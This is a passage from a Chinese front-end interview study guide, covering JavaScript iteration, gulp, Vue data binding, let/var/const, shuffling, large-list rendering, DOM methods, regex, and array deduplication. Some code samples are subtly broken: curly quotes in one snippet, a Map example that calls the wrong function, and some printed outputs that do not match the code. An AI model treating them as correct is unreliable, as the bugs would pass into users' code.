  • 缺点:不适合仅需要遍历而不需要返回新数组的情况。
const array = [1, 2, 3];
const mappedArray = array.map((element) => element * 2);
console.log(mappedArray);

对象的遍历方式:

1. for...in循环:

  • for...in循环是用于遍历对象属性的,但也可用于遍历数组。
  • 优点:可以遍历数组的索引或属性。
  • 缺点:会遍历数组的原型链,不稳定且性能较差,不推荐在数组上使用。
const obj = { a: 1, b: 2, c: 3 };
for (const key in obj) {
  console.log(key, obj[key]);
}

2. Object.keys方法结合forEach方法:

const obj = { a: 1, b: 2, c: 3 };
Object.keys(obj).forEach((key) => {
  console.log(key, obj[key]);
});

3. Object.entries方法结合forEach方法:

const obj = { a: 1, b: 2, c: 3 };
Object.entries(obj).forEach(([key, value]) => {
  console.log(key, value);
});

比较总结:

  • for循环是最基本的遍历方式,适用于所有情况,但代码较为繁琐。
  • forEach方法是数组专用的遍历方法,代码简洁,但无法使用breakcontinue跳出循环。
  • for...of循环适用于遍历可迭代对象,如数组、字符串等,语法简单,但无法获取索引。
  • map方法适用于对数组进行映射转换,返回新数组。
  • for...in循环适用于遍历对象的属性,但会遍历原型链上的属性。
  • Object.keys方法结合forEach方法适用于遍历对象的属性,不遍历原型链。
  • Object.entries方法结合forEach方法适用于遍历对象的键值对。

根据不同的需求和数据结构,选择合适的遍历方式可以提高代码的可读性和性能。使用基本的for循环可以处理各种情况,forEachmap方法提供了简洁的数组遍历方式,for...of循环适用于遍历可迭代对象,for...in循环和Object.keys/Object.entries结合forEach方法适用于遍历对象的属性和键值对。

# 59 gulp是什么

gulp`是前端开发过程中一种基于流的代码构建工具,是自动化项目的构建利器;它不仅能对网站资源进行优化,而且在开发过程中很多重复的任务能够使用正确的工具自动完成

  • Gulp的核心概念:流,简单来说就是建立在面向对象基础上的一种抽象的处理数据的工具。在流中,定义了一些处理数据的基本操作,如读取数据,写入数据等,程序员是对流进行所有操作的,而不用关心流的另一头数据的真正流向
  • gulp正是通过流和代码优于配置的策略来尽量简化任务编写的工作
  • Gulp的特点:
    • 易于使用:通过代码优于配置的策略,gulp 让简单的任务简单,复杂的任务可管理
    • 构建快速 利用 Node.js 流的威力,你可以快速构建项目并减少频繁的 IO 操作
    • 易于学习 通过最少的 API,掌握 gulp 毫不费力,构建工作尽在掌握:如同一系列流管道
const gulp = require('gulp');
const cleanCSS = require('gulp-clean-css');

// 压缩CSS任务
gulp.task('minify-css', () => {
  return gulp.src('src/css/*.css')
    .pipe(cleanCSS())
    .pipe(gulp.dest('dist/css'));
});

// 默认任务
gulp.task('default', gulp.series('minify-css'));

上述示例定义了一个名为minify-css的任务,用于压缩CSS文件。通过使用gulp.src选择要处理的文件,然后通过cleanCSS插件进行压缩操作,最后将压缩后的文件保存到dist/css目录下。通过gulp.task定义任务,最后通过gulp.series定义默认任务,将minify-css任务作为默认任务执行。

总结:Gulp的特点在于其简单的API和基于流的处理方式。通过使用Gulp,开发者可以轻松地定义和执行各种任务,提高开发效率。它的易用性、快速构建和易学性使得Gulp成为前端开发中常用的自动化构建工具之一

# 60 说一下Vue的双向绑定数据的原理

vue.js 则是采用数据劫持结合发布者-订阅者模式的方式,通过Object.defineProperty()来劫持各个属性的settergetter,在数据变动时发布消息给订阅者,触发相应的监听回调

Vue的双向绑定数据的原理是基于数据劫持和发布者-订阅者模式的组合。

具体步骤如下:

  1. Vue通过Object.defineProperty()方法对数据对象进行劫持。
  2. 在劫持过程中,为每个属性添加了gettersetter
  3. 当访问属性时,会触发getter函数,而当属性值发生变化时,会触发setter函数。
  4. setter函数中,Vue会通知相关的订阅者,即依赖于该属性的视图或其他数据。
  5. 订阅者收到通知后,会执行相应的更新操作,将新的数据反映到视图上。

这样,当数据发生变化时,Vue能够自动更新相关的视图,实现了双向绑定的效果。

这种原理结合了数据劫持和发布者-订阅者模式的特点,实现了数据与视图之间的自动同步。通过数据劫持,Vue能够捕获数据的变化,而发布者-订阅者模式则确保了数据变化时的及时通知和更新。

示例代码:

// 定义一个数据对象
const data = {
  message: 'Hello Vue!',
};

// 通过Object.defineProperty()劫持数据对象
Object.defineProperty(data, 'message', {
  get() {
    console.log('访问数据');
    return this._message;
  },
  set(newValue) {
    console.log('更新数据');
    this._message = newValue;
    // 通知订阅者,执行更新操作
    notifySubscribers();
  },
});

// 定义一个订阅者列表
const subscribers = [];

// 订阅者订阅数据
function subscribe(callback) {
  subscribers.push(callback);
}

// 通知订阅者,执行更新操作
function notifySubscribers() {
  subscribers.forEach((callback) => {
    callback();
  });
}

// 订阅者更新视图
function updateView() {
  console.log('视图更新:', data.message);
}

// 订阅数据变化
subscribe(updateView);

// 修改数据,触发更新
data.message = 'Hello VueJS!';

在上述示例中,我们通过Object.defineProperty()data对象的message属性进行劫持,并在gettersetter中添加了相应的日志和更新操作。订阅者通过subscribe方法订阅数据变化,并在updateView方法中更新视图。当我们修改data.message的值时,会触发setter函数,从而通知订阅者执行更新操作,最终更新了视图。

通过这种方式,Vue实现了双向绑定的效果,使得数据的变化能够自动反映到视图上。

# 61 let var const区别

let

  • 允许你声明一个作用域被限制在块级中的变量、语句或者表达式
  • let绑定不受变量提升的约束,这意味着let声明不会被提升到当前
  • 该变量处于从块开始到初始化处理的“暂存死区”

var

  • 声明变量的作用域限制在其声明位置的上下文中,而非声明变量总是全局的
  • 由于变量声明(以及其他声明)总是在任意代码执行之前处理的,所以在代码中的任意位置声明变量总是等效于在代码开头声明

const

  • 声明创建一个值的只读引用 (即指针)
  • 基本数据当值发生改变时,那么其对应的指针也将发生改变,故造成 const申明基本数据类型时
  • 再将其值改变时,将会造成报错, 例如 const a = 3 ; a = 5时 将会报错
  • 但是如果是复合类型时,如果只改变复合类型的其中某个Value项时, 将还是正常使用

示例代码:

let:

function example() {
  let x = 10;
  if (true) {
    let x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 10
}

example();

var:

function example() {
  var x = 10;
  if (true) {
    var x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 20
}

example();

const:

function example() {
  const x = 10;
  if (true) {
    const x = 20;
    console.log(x); // Output: 20
  }
  console.log(x); // Output: 10
}

example();

在上述示例中,使用let关键字声明的变量x具有块级作用域,它的作用范围仅限于if语句块内部。而使用var关键字声明的变量x则具有函数级作用域,它的作用范围在整个函数内部都可见。

对于const关键字声明的变量x,它创建了一个只读的引用,也就是说它的值不能被修改。在示例中,const x = 10声明了一个常量x,而在if语句块内部再次使用const x = 20声明了一个新的常量x,它的作用范围也仅限于if语句块内部。

总结:

  • let关键字声明的变量具有块级作用域,不会被提升,存在暂存死区。
  • var关键字声明的变量具有函数级作用域,会被提升到当前作用域的顶部。
  • const关键字声明的变量创建一个只读的引用,其值不可修改,但对于复合类型的变量,可以修改其属性或元素的值。

# 62 快速的让一个数组乱序

方法1:使用数组的sort方法结合随机数

var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
arr.sort(function() {
  return Math.random() - 0.5;
});
console.log(arr);

方法2:使用Fisher-Yates算法

function shuffleArray(array) {
  var currentIndex = array.length, temporaryValue, randomIndex;
  
  while (currentIndex !== 0) {
    randomIndex = Math.floor(Math.random() * currentIndex);
    currentIndex -= 1;
    
    temporaryValue = array[currentIndex];
    array[currentIndex] = array[randomIndex];
    array[randomIndex] = temporaryValue;
  }
  
  return array;
}

var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
console.log(shuffleArray(arr));

方法3:使用lodash库的shuffle方法

import shuffle from 'lodash/shuffle'
var arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];
console.log(shuffle(arr));

对比总结:

  • 方法1使用数组的sort方法结合随机数,是一种简单快速的方式,但并不是真正意义上的乱序,因为它是通过排序来实现的。
  • 方法2使用Fisher-Yates算法,通过交换数组中的元素来实现乱序,是一种更可靠的乱序方式。
  • 方法3使用lodash库的shuffle方法,提供了一个方便的工具函数来实现数组的乱序,不需要自己编写乱序算法。

总体而言,如果只是需要简单的乱序,方法一已经足够。但如果对于乱序的质量和随机性有较高的要求,可以使用方法二的Fisher-Yates算法或者借助第三方库来实现。

# 63 如何渲染几万条数据并不卡住界面

方式1:使用requestAnimationFrame

这道题考察了如何在不卡住页面的情况下渲染数据,也就是说不能一次性将几万条都渲染出来,而应该一次渲染部分 DOM,那么就可以通过 requestAnimationFrame 来每 16 ms 刷新一次

在渲染大量数据时,避免一次性将所有数据都渲染出来可以提高性能,以保持界面的流畅性。以下是一个示例代码,演示如何使用requestAnimationFrame来分批渲染大量数据,避免卡住界面:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
</head>
<body>
  <ul>控件</ul>
  <script>
    setTimeout(() => {
      // 插入十万条数据
      const total = 100000
      // 一次插入 20 条,可以根据实际性能调整
      const once = 20
      // 渲染数据总共需要几次
      const loopCount = total / once
      let countOfRender = 0
      let ul = document.querySelector("ul");

      function add() {
        // 优化性能,使用文档片段插入,减少回流
        const fragment = document.createDocumentFragment();
        for (let i = 0; i < once; i++) {
          const li = document.createElement("li");
          li.innerText = Math.floor(Math.random() * total);
          fragment.appendChild(li);
        }
        ul.appendChild(fragment);
        countOfRender += 1;
        loop();
      }

      function loop() {
        if (countOfRender < loopCount) {
          // 使用requestAnimationFrame在每一帧中执行渲染
          window.requestAnimationFrame(add);
        }
      }

      loop();
    }, 0);
  </script>
</body>
</html>

上述代码会将十万条数据分批插入到ul列表中,每次插入20条数据,并通过requestAnimationFrame在每一帧中执行渲染,保证不卡住界面。这样用户可以逐步看到数据的渲染过程,而不是等待所有数据都渲染完毕后才显示。这种方式可以提高用户体验并避免界面卡顿。

方式2:使用虚拟滚动

使用虚拟滚动(Virtual Scrolling)可以在渲染大量数据时提高性能,只渲染可见区域的数据,而不是将所有数据都插入到DOM中。这样可以减少DOM操作和内存占用,从而提升性能和响应速度。以下是使用虚拟滚动完成这道题的示例代码:

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>Document</title>
  <style>
    .container {
      height: 400px;
      overflow: auto;
    }
    .item {
      height: 30px;
      line-height: 30px;
      border-bottom: 1px solid #ccc;
    }
  </style>
</head>
<body>
  <div class="container">
    <div class="content"></div>
  </div>
  <script>
    setTimeout(() => {
      // 插入十万条数据
      const total = 100000;
      // 可见区域的高度
      const visibleHeight = 400;
      // 单个元素的高度
      const itemHeight = 30;
      // 计算可见区域能容纳的元素数量
      const visibleItemCount = Math.ceil(visibleHeight / itemHeight);
      // 当前滚动位置对应的元素索引
      let startIndex = 0;
      let endIndex = visibleItemCount;
      let container = document.querySelector(".container");
      let content = document.querySelector(".content");

      function renderItems() {
        content.innerHTML = "";
        for (let i = startIndex; i < endIndex; i++) {
          const item = document.createElement("div");
          item.className = "item";
          item.innerText = Math.floor(Math.random() * total);
          content.appendChild(item);
        }
      }

      function handleScroll() {
        // 计算当前滚动位置对应的元素索引
        startIndex = Math.floor(container.scrollTop / itemHeight);
        endIndex = startIndex + visibleItemCount;
        renderItems();
      }

      // 监听滚动事件
      container.addEventListener("scroll", handleScroll);

      // 初始渲染可见区域的元素
      renderItems();
    }, 0);
  </script>
</body>
</html>

在上述代码中,通过设置一个具有固定高度的容器,使用overflow: auto来实现滚动。通过计算可见区域的高度和单个元素的高度,确定可见区域能容纳的元素数量。然后根据滚动位置计算出当前可见区域的元素索引范围,只渲染这一部分数据,从而实现虚拟滚动。随着滚动事件的触发,动态更新可见区域的元素。这样在大量数据的情况下,只有可见区域的元素会被渲染,大大提高了性能和响应速度。

# 64 希望获取到页面中所有的checkbox怎么做?

 var domList = document.getElementsByTagName(‘input’)
 var checkBoxList = [];
 var len = domList.length;  //缓存到局部变量
 while (len--) {  //使用while的效率会比for循环更高
   if (domList[len].type == ‘checkbox’) {
       checkBoxList.push(domList[len]);
   }
 }
  • 这段代码使用document.getElementsByTagName('input')获取到页面中所有的input元素,并通过遍历筛选出typecheckbox的元素,然后将它们存储在checkBoxList数组中
  • 请注意,这段代码假设所有的复选框都是通过<input>元素实现的,如果你的页面中还有其他方式创建的复选框,可能无法正确获取到。另外,建议将domList.length缓存到局部变量中,可以提高代码的性能。

# 65 怎样添加、移除、移动、复制、创建和查找节点

下面是一些用于添加、移除、移动、复制、创建和查找节点的常用方法:

创建新节点

document.createElement(tagName); // 创建一个指定标签名的元素节点
document.createTextNode(text); // 创建一个包含指定文本的文本节点
document.createDocumentFragment(); // 创建一个空的文档片段节点

添加、移除、替换、插入节点

parentNode.appendChild(node); // 在父节点的末尾添加一个子节点
parentNode.removeChild(node); // 从父节点中移除指定的子节点
parentNode.replaceChild(newNode, oldNode); // 用新节点替换指定的旧节点
parentNode.insertBefore(newNode, referenceNode); // 在参考节点之前插入一个新节点

查找节点

document.getElementsByTagName(tagName); // 返回指定标签名的元素节点集合
document.getElementsByName(name); // 返回具有指定名称的元素节点集合
document.getElementById(id); // 返回具有指定 id 的元素节点

注意,以上方法都是基于document对象进行操作的,如果需要在特定的节点上执行这些操作,可以使用相应节点的方法,例如parentNode.appendChild(node)

示例代码:

// 创建新节点
var newElement = document.createElement('div');
var newText = document.createTextNode('Hello, world!');
var fragment = document.createDocumentFragment();

// 添加节点
document.body.appendChild(newElement);
newElement.appendChild(newText);

// 移除节点
document.body.removeChild(newElement);

// 替换节点
var oldElement = document.getElementById('old');
var newElement = document.createElement('div');
document.body.replaceChild(newElement, oldElement);

// 插入节点
var referenceElement = document.getElementById('reference');
var newNode = document.createElement('p');
document.body.insertBefore(newNode, referenceElement);

// 查找节点
var elementsByTagName = document.getElementsByTagName('div');
var elementsByName = document.getElementsByName('name');
var elementById = document.getElementById('id');

以上代码演示了如何创建新节点、添加节点、移除节点、替换节点、插入节点以及查找节点的方法。请根据实际情况调整代码并操作相应的节点。

# 66 正则表达式

正则表达式构造函数RegExp()和正则表达字面量的主要区别在于语法和使用方式。

正则表达式构造函数 RegExp()

  • 使用字符串作为参数,需要进行双重转义,即需要使用双反斜杠来表示特殊字符,如\d表示数字,\w表示字母数字下划线等。
  • 构造函数的参数可以是一个字符串,也可以是两个字符串,第一个字符串是正则表达式模式,第二个字符串是修饰符。
  • 如果正则表达式模式是一个变量,只能使用构造函数的方式创建正则表达式。

正则表达字面量 //

  • 使用两个斜杠//将正则表达式包围起来。
  • 字面量的方式更简洁,不需要进行双重转义,直接使用特殊字符即可。
  • 正则表达式字面量的模式和修饰符直接写在斜杠之间。

在前端面试中,正则表达式是一个常见的考点。以下是一些与正则表达式相关的重要知识点总结:

1. 基本语法

  • 正则表达式是由字符和特殊字符组成的模式,用于匹配字符串中的文本。
  • 常见的特殊字符包括元字符(如.*+?等)和字符类(如[...][^...]\d\w等)。

2. 匹配模式

  • 使用正则表达式可以进行文本匹配、查找、替换等操作。
  • 匹配模式可以包括固定文本和通配符,用于定义要匹配的模式。
  • 量词(如*+?{n}{n,m}等)用于指定匹配的次数。

3. 常见的正则表达式应用场景

  • 邮箱验证:匹配邮箱的正则表达式可以验证邮箱的合法性。
  • 密码验证:通过正则表达式可以验证密码的复杂度要求。
  • 手机号验证:使用正则表达式可以验证手机号码的格式是否正确。
  • URL 提取:通过正则表达式可以从文本中提取出符合 URL 格式的链接。
  • HTML 标签处理:正则表达式可以用于匹配和处理 HTML 标签。
  • 字符串替换:使用正则表达式可以进行字符串的替换操作。

4. 常见的正则表达式方法

  • test():测试字符串是否匹配正则表达式。
  • exec():在字符串中查找匹配的文本,并返回匹配结果。
  • match():在字符串中查找匹配的文本,并返回所有匹配结果的数组。
  • search():在字符串中查找匹配的文本,并返回第一个匹配结果的索引。
  • replace():将匹配的文本替换为指定的字符串。
  • split():根据正则表达式将字符串拆分为数组。
// 示例字符串
const str = 'Hello, World! This is a test string.';

// test(): 测试字符串是否匹配正则表达式
const regex1 = /test/;
console.log(regex1.test(str)); // true

// exec(): 在字符串中查找匹配的文本,并返回匹配结果
const regex2 = /is/g;
let result;
while ((result = regex2.exec(str)) !== null) {
  console.log(result[0]); // "is" (每次循环匹配的结果)
  console.log(result.index); // 匹配的起始索引
}

// match(): 在字符串中查找匹配的文本,并返回所有匹配结果的数组
const regex3 = /o/g;
console.log(str.match(regex3)); // ["o", "o", "o"]

// search(): 在字符串中查找匹配的文本,并返回第一个匹配结果的索引
const regex4 = /World/;
console.log(str.search(regex4)); // 7

// replace(): 将匹配的文本替换为指定的字符串
const regex5 = /test/;
const newStr = str.replace(regex5, 'replacement');
console.log(newStr); // "Hello, World! This is a replacement string."

// split(): 根据正则表达式将字符串拆分为数组
const regex6 = /[,!\s]/;
const arr = str.split(regex6);
console.log(arr); // ["Hello", "World", "This", "is", "a", "test", "string"]

5. 贪婪匹配和非贪婪匹配

  • 贪婪匹配是指正则表达式默认匹配尽可能长的字符串。
  • 非贪婪匹配是指正则表达式匹配尽可能短的字符串,在量词后加上?实现非贪婪匹配。

以下是一些常见的正则表达式面试题考点及其答案总结:

1. 什么是正则表达式?

正则表达式是一种用于匹配和操作字符串的模式,它由字符和特殊字符组成,用于定义匹配规则。

2. 正则表达式的创建方式有哪些?

正则表达式可以通过两种方式创建:

  • 字面量方式:使用两个斜杠//将正则表达式包围起来,如:/pattern/
  • 构造函数方式:使用RegExp()构造函数创建,接受一个字符串参数,如:new RegExp("pattern")

3. 常见的正则表达式修饰符有哪些?

常见的正则表达式修饰符包括:

  • i:不区分大小写匹配。
  • g:全局匹配,找到所有匹配项。
  • m:多行匹配,将 ^$ 应用到每一行。

4. 常用的正则表达式元字符有哪些?

常用的正则表达式元字符包括:

  • .:匹配除换行符以外的任意字符。
  • ^:匹配字符串的开始位置。
  • $:匹配字符串的结束位置。
  • \d:匹配数字字符。
  • \w:匹配字母、数字、下划线。
  • \s:匹配空白字符。

5. 如何匹配邮箱地址?

可以使用以下正则表达式进行邮箱地址的匹配:

/^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;

6. 如何匹配手机号码? 可以使用以下正则表达式进行手机号码的匹配:

/^1[3456789]\d{9}$/;

7. 如何匹配 URL 地址?

可以使用以下正则表达式进行 URL 地址的匹配:

/^(https?:\/\/)?([\da-z.-]+)\.([a-z.]{2,6})(\/[\w.-]*)*\/?$/;

8. 如何提取字符串中的数字部分? 可以使用以下正则表达式提取字符串中的数字部分:

/\d+/g;

9. 如何验证密码的复杂度要求?

可以使用以下正则表达式验证密码的复杂度要求,包括至少包含一个大写字母、一个小写字母和一个数字,长度为8-20个字符:

/^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)[a-zA-Z\d]{8,20}$/;

10. 如何匹配日期格式(YYYY-MM-DD)?

可以使用以下正则表达式匹配日期格式(YYYY-MM-DD):

/^\d{4}-\d{2}-\d{2}$/;

11. 如何匹配 IP 地址?

可以使用以下正则表达式匹配 IP 地址:

/^((25[0-5]|2[0-4]\d|[01]?\d{1,2})\.){3}(25[0-5]|2[0-4]\d|[01]?\d{1,2})$/;

12. 如何匹配 HTML 标签?

可以使用以下正则表达式匹配 HTML 标签:

/<[^>]+>/g;

13. 如何移除字符串中的 HTML 标签?

可以使用以下正则表达式移除字符串中的 HTML 标签:

str.replace(/<[^>]+>/g, '');

# 67 Javascript中callee和caller的作用?

calleecaller是两个旧的非标准属性,它们在现代的 JavaScript 中已经不推荐使用,且在严格模式下不可用。

  • caller属性:caller属性用于获取调用当前函数的函数的引用。它返回一个函数对象或者null。这个属性主要用于追踪函数的调用来源。但由于其潜在的安全性问题和性能问题,它已经被废弃了,并且在严格模式下无法使用。
  • callee属性:callee属性返回当前正在执行的函数的引用。它通常在匿名函数或递归函数中使用,允许函数引用自身。但同样由于其潜在的安全性和性能问题,它也已经被废弃了,并且在严格模式下无法使用。

应该尽量避免使用callercallee属性,而使用更现代的 JavaScript 特性和技术来完成相应的任务。例如,可以使用具名函数表达式来递归调用函数,使用函数引用作为参数传递来追踪函数调用的来源。

以下是一个示例,

如果一对兔子每月生一对兔子;一对新生兔,从第二个月起就开始生兔子;假定每对兔子都是一雌一雄,试问一对兔子,第n个月能繁殖成多少对兔子?(使用callee完成)

var result=[];
function fn(n){  //典型的斐波那契数列
  if(n==1){
    return 1;
  }else if(n==2){
    return 1;
  }else{
    if(result[n]){
      return result[n];
    }else{
      //argument.callee()表示fn()
      result[n]=arguments.callee(n-1)+arguments.callee(n-2);
      return result[n];
    }
  }
}

以下是一个示例,展示了如何使用具名函数表达式进行递归调用:

const factorial = function calculateFactorial(n) {
  if (n <= 1) {
    return 1;
  }
  return n * calculateFactorial(n - 1);
};

console.log(factorial(5)); // 输出: 120

在这个示例中,使用具名函数表达式calculateFactorial来递归调用自身,计算阶乘的结果。这种方式比使用callee属性更清晰和可维护。

总结

  • caller是返回一个对函数的引用,该函数调用了当前函数;
  • callee是返回正在被执行的function函数,也就是所指定的function对象的正文

# 68 window.onload和$(document).ready

原生JSwindow.onloadJquery$(document).ready(function(){})有什么不同?如何用原生JS实现Jq的ready方法?

  • window.onload()方法是必须等到页面内包括图片的所有元素加载完毕后才能执行。
  • $(document).ready()DOM结构绘制完毕后就执行,不必等到加载完毕
function ready(fn){
    if(document.addEventListener) {        //标准浏览器
      document.addEventListener('DOMContentLoaded', function() {
          //注销事件, 避免反复触发
          document.removeEventListener('DOMContentLoaded',arguments.callee, false);
          fn();            //执行函数
      }, false);
    }else if(document.attachEvent) {        //IE
      document.attachEvent('onreadystatechange', function() {
          if(document.readyState == 'complete') {
              document.detachEvent('onreadystatechange', arguments.callee);
              fn();        //函数执行
          }
      });
    }
 };

# 69 addEventListener()和attachEvent()的区别

  • addEventListener()是DOM Level 2 标准定义的方法,而attachEvent()是早期IE浏览器的非标准方法。
  • addEventListener()可以为同一个元素的同一个事件类型添加多个事件处理函数,而attachEvent()只能绑定一个事件处理函数。
  • addEventListener()使用事件捕获阶段或冒泡阶段来处理事件,可以通过第三个参数来指定是在捕获阶段处理还是在冒泡阶段处理。而attachEvent()只能在冒泡阶段处理事件。
  • addEventListener()的事件处理函数中的this指向触发事件的元素,而attachEvent()的事件处理函数中的this指向window对象。
  • addEventListener()中的事件处理函数可以通过event参数来获取事件信息,而attachEvent()的事件处理函数需要通过window.event来获取事件信息。

由于attachEvent()是早期IE浏览器的非标准方法,且在现代浏览器中已经被废弃,推荐使用addEventListener()来绑定事件。

# 70 获取页面所有的checkbox

var resultArr= [];
var input = document.querySelectorAll('input');
for(var i = 0; i < input.length; i++ ) {
  if(input[i].type == 'checkbox') {
    resultArr.push( input[i] );
  }
}
//resultArr即中获取到了页面中的所有checkbox

# 71 数组去重方法总结

方法一、利用ES6 Set去重(ES6中最常用)

function unique (arr) {
  return Array.from(new Set(arr))
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
 //[1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {}, {}]

方法二、利用for嵌套for,然后splice去重(ES5中最常用)

function unique(arr){            
      for(var i=0; i<arr.length; i++){
          for(var j=i+1; j<arr.length; j++){
              if(arr[i]==arr[j]){         //第一个等同于第二个,splice方法删除第二个
                  arr.splice(j,1);
                  j--;
              }
          }
      }
	return arr;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
    //[1, "true", 15, false, undefined, NaN, NaN, "NaN", "a", {…}, {…}]     //NaN和{}没有去重,两个null直接消失了
  • 双层循环,外层循环元素,内层循环时比较值。值相同时,则删去这个值。
  • 想快速学习更多常用的ES6语法

方法三、利用indexOf去重

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return
    }
    var array = [];
    for (var i = 0; i < arr.length; i++) {
        if (array .indexOf(arr[i]) === -1) {
            array .push(arr[i])
        }
    }
    return array;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
   // [1, "true", true, 15, false, undefined, null, NaN, NaN, "NaN", 0, "a", {…}, {…}]  //NaN、{}没有去重

新建一个空的结果数组,for 循环原数组,判断结果数组是否存在当前元素,如果有相同的值则跳过,不相同则push进数组

方法四、利用sort()

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return;
    }
    arr = arr.sort()
    var arrry= [arr[0]];
    for (var i = 1; i < arr.length; i++) {
        if (arr[i] !== arr[i-1]) {
            arrry.push(arr[i]);
        }
    }
    return arrry;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
// [0, 1, 15, "NaN", NaN, NaN, {…}, {…}, "a", false, null, true, "true", undefined]      //NaN、{}没有去重

利用sort()排序方法,然后根据排序后的结果进行遍历及相邻元素比对

方法五、利用对象的属性不能相同的特点进行去重

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return
    }
    var arrry= [];
     var  obj = {};
    for (var i = 0; i < arr.length; i++) {
        if (!obj[arr[i]]) {
            arrry.push(arr[i])
            obj[arr[i]] = 1
        } else {
            obj[arr[i]]++
        }
    }
    return arrry;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
//[1, "true", 15, false, undefined, null, NaN, 0, "a", {…}]    //两个true直接去掉了,NaN和{}去重

方法六、利用includes

function unique(arr) {
    if (!Array.isArray(arr)) {
        console.log('type error!')
        return
    }
    var array =[];
    for(var i = 0; i < arr.length; i++) {
            if( !array.includes( arr[i]) ) {//includes 检测数组是否有某个值
                    array.push(arr[i]);
              }
    }
    return array
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
    //[1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {…}, {…}]     //{}没有去重

方法七、利用hasOwnProperty

function unique(arr) {
    var obj = {};
    return arr.filter(function(item, index, arr){
        return obj.hasOwnProperty(typeof item + item) ? false : (obj[typeof item + item] = true)
    })
}
    var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
        console.log(unique(arr))
//[1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {…}]   //所有的都去重了

利用hasOwnProperty 判断是否存在对象属性

方法八、利用filter

function unique(arr) {
  return arr.filter(function(item, index, arr) {
    //当前元素,在原始数组中的第一个索引==当前索引值,否则返回当前元素
    return arr.indexOf(item, 0) === index;
  });
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
//[1, "true", true, 15, false, undefined, null, "NaN", 0, "a", {…}, {…}]

方法九、利用递归去重

function unique(arr) {
    var array= arr;
    var len = array.length;

	array.sort(function(a,b){   //排序后更加方便去重
		return a - b;
	})

	function loop(index){
        if(index >= 1){
            if(array[index] === array[index-1]){
            array.splice(index,1);
            }
            loop(index - 1);    //递归loop,然后数组去重
        }
	}
	loop(len-1);
	return array;
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr))
//[1, "a", "true", true, 15, false, 1, {…}, null, NaN, NaN, "NaN", 0, "a", {…}, undefined]

方法十、利用Map数据结构去重

function arrayNonRepeatfy(arr) {
	let map = new Map();
		let array = new Array();  // 数组用于返回结果
		for (let i = 0; i < arr.length; i++) {
			if(map .has(arr[i])) {  // 如果有该key值
			map .set(arr[i], true);
		} else {
			map .set(arr[i], false);   // 如果没有该key值
			array .push(arr[i]);
		}
	}
	return array ;
}
 var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
    console.log(unique(arr))
//[1, "a", "true", true, 15, false, 1, {…}, null, NaN, NaN, "NaN", 0, "a", {…}, undefined]

创建一个空Map数据结构,遍历需要去重的数组,把数组的每一个元素作为key存到Map中。由于Map中不会出现相同的key值,所以最终得到的就是去重后的结果

方法十一、利用reduce+includes

function unique(arr){
    return arr.reduce((prev,cur) => prev.includes(cur) ? prev : [...prev,cur],[]);
}
var arr = [1,1,'true','true',true,true,15,15,false,false, undefined,undefined, null,null, NaN, NaN,'NaN', 0, 0, 'a', 'a',{},{}];
console.log(unique(arr));
// [1, "true", true, 15, false, undefined, null, NaN, "NaN", 0, "a", {…}, {…}]

方法十二、[...new Set(arr)]

[...new Set(arr)]
//代码就是这么少----(其实,严格来说并不算是一种,相对于第一种方法来说只是简化了代码)

# 72 (设计题)想实现一个对页面某个节点的拖曳?如何做?(使用原生JS)

  • 给需要拖拽的节点绑定mousedown, mousemove, mouseup事件
  • mousedown事件触发后,开始拖拽
  • mousemove时,需要通过event.clientXclientY获取拖拽位置,并实时更新位置
  • mouseup时,拖拽结束
  • 需要注意浏览器边界的情况

下面是一个使用原生 JavaScript 实现页面节点拖拽的示例代码:

// 获取需要拖拽的节点
var draggableNode = document.getElementById("draggable");

// 初始化拖拽状态
var isDragging = false;
var offset = { x: 0, y: 0 };

// 绑定 mousedown 事件
draggableNode.addEventListener("mousedown", function(event) {
  // 设置拖拽状态为 true
  isDragging = true;

  // 计算鼠标相对于节点的偏移量
